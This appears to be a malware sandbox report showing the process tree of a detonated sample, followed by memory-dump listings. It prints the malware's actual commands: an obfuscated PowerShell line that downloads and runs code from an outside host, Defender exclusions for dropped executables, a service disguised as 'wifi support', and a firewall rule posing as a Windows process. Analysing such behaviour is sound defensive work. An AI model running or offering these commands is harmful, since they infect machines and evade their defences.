                                                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://kmsauto.us/ALL.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                    PID:4908
                                                                                                                                                                                                            • C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe
                                                                                                                                                                                                              "C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:660
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\33e9708e-dfd3-494f-b796-632f454547bb\AdvancedRun.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\33e9708e-dfd3-494f-b796-632f454547bb\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\33e9708e-dfd3-494f-b796-632f454547bb\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:2780
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\33e9708e-dfd3-494f-b796-632f454547bb\AdvancedRun.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\33e9708e-dfd3-494f-b796-632f454547bb\AdvancedRun.exe" /SpecialRun 4101d8 2780
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2968
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe" -Force
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1140
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe" -Force
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:2988
                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:1732
                                                                                                                                                                                                                        • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                                                                                                                                                                                          "C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1720
                                                                                                                                                                                                                          • C:\Users\Admin\Documents\olCL_mZJ2zy2nmb4ccvSu9kg.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Documents\olCL_mZJ2zy2nmb4ccvSu9kg.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1544
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 884
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                PID:1692
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\2q6Ndnto5EcO_0j6UEoLSCcJ.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\2q6Ndnto5EcO_0j6UEoLSCcJ.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1124
                                                                                                                                                                                                                              • C:\Users\Admin\Documents\FZTZ9kd5uXXF4bDpQs5ueRSg.exe
                                                                                                                                                                                                                                "C:\Users\Admin\Documents\FZTZ9kd5uXXF4bDpQs5ueRSg.exe"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:948
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:3276
                                                                                                                                                                                                                                    • C:\Program Files (x86)\Company\NewProduct\inst1.exe
                                                                                                                                                                                                                                      "C:\Program Files (x86)\Company\NewProduct\inst1.exe"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:3544
                                                                                                                                                                                                                                      • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                                                                                                                                        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:3280
                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\GqffZ5TQWAhsazXvza6aeURV.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\GqffZ5TQWAhsazXvza6aeURV.exe"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:560
                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\ugmvtap6GpHOVRwOJdBGQKYH.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\ugmvtap6GpHOVRwOJdBGQKYH.exe"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:816
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im "ugmvtap6GpHOVRwOJdBGQKYH.exe" /f & erase "C:\Users\Admin\Documents\ugmvtap6GpHOVRwOJdBGQKYH.exe" & exit
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:3324
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                  taskkill /im "ugmvtap6GpHOVRwOJdBGQKYH.exe" /f
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                  PID:4056
                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\NpCwsI4X5obqbW9Tq13MRejI.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\NpCwsI4X5obqbW9Tq13MRejI.exe"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:2128
                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                              PID:2960
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1120
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\74F1.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\74F1.exe
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:4024
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\8D62.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\8D62.exe
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:4080
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\DC7C.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\DC7C.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:2972
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qliaqwvn\
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:2808
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fzvbmwou.exe" C:\Windows\SysWOW64\qliaqwvn\
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:3832
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\sc.exe" create qliaqwvn binPath= "C:\Windows\SysWOW64\qliaqwvn\fzvbmwou.exe /d\"C:\Users\Admin\AppData\Local\Temp\DC7C.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:2748
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\sc.exe" description qliaqwvn "wifi internet conection"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:4504
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\sc.exe" start qliaqwvn
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:4544
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:4292
                                                                                                                                                                                                                                                                  • C:\Users\Admin\cojgnmma.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\cojgnmma.exe" /d"C:\Users\Admin\AppData\Local\Temp\DC7C.exe"
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:4396
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\chdvtwi.exe" C:\Windows\SysWOW64\qliaqwvn\
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:4348
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\sc.exe" config qliaqwvn binPath= "C:\Windows\SysWOW64\qliaqwvn\chdvtwi.exe /d\"C:\Users\Admin\cojgnmma.exe\""
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:3760
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\sc.exe" start qliaqwvn
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:2716
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:4324
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7DAB.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7DAB.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:2088
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\CD1.exe
                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\CD1.exe
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:4180
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:4076
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:3888
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:5028
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:2012
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:4264
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:3440
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:2652
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\150C.exe
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:4712
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\24F4.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\24F4.exe
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:4352
                                                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                                                                                                                                                                                                                                                    "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:4796
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\4B5A.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\4B5A.exe
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:4640
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\4B5A.exe" & exit
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:1676
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                            timeout /t 5
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                            PID:2296
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\68AA.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\68AA.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:4824
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\9A17.exe
                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\9A17.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:4160
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:4528
                                                                                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:1628
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:3256
                                                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                    PID:2972
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                      PID:4496
                                                                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:4596
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:4744
                                                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:4756
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:4804
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\qliaqwvn\chdvtwi.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\qliaqwvn\chdvtwi.exe /d"C:\Users\Admin\cojgnmma.exe"
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:3100
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\D3DD.exe
                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\D3DD.exe
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                  PID:4996

                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                • memory/632-198-0x0000000001060000-0x0000000001061000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/660-181-0x0000000000AE0000-0x0000000000B52000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  456KB

                                                                                                                                                                                                                                                                                                                                • memory/660-171-0x00000000013A0000-0x00000000013A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/764-161-0x0000000001320000-0x0000000001321000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/764-163-0x0000000000560000-0x0000000000579000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                                                                                • memory/924-174-0x0000000000F40000-0x0000000000F41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/956-173-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/1100-61-0x0000000003D60000-0x0000000003E9F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1.2MB

                                                                                                                                                                                                                                                                                                                                • memory/1100-60-0x0000000075A31000-0x0000000075A33000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                                • memory/1124-164-0x0000000000B00000-0x0000000000B01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/1316-191-0x0000000000050000-0x0000000000051000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/1524-170-0x0000000000F10000-0x0000000000F11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/1524-237-0x0000000000530000-0x000000000054E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  120KB

                                                                                                                                                                                                                                                                                                                                • memory/1552-95-0x0000000000020000-0x000000000002A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  40KB

                                                                                                                                                                                                                                                                                                                                • memory/1720-185-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/1932-166-0x0000000001330000-0x0000000001331000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/1996-151-0x000007FEFC661000-0x000007FEFC663000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                                • memory/2128-220-0x0000000000E50000-0x0000000000E51000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/2148-156-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  36KB

                                                                                                                                                                                                                                                                                                                                • memory/2732-187-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  128KB

                                                                                                                                                                                                                                                                                                                                • memory/2856-195-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  128KB

                                                                                                                                                                                                                                                                                                                                • memory/2904-202-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  128KB

                                                                                                                                                                                                                                                                                                                                • memory/2904-206-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  128KB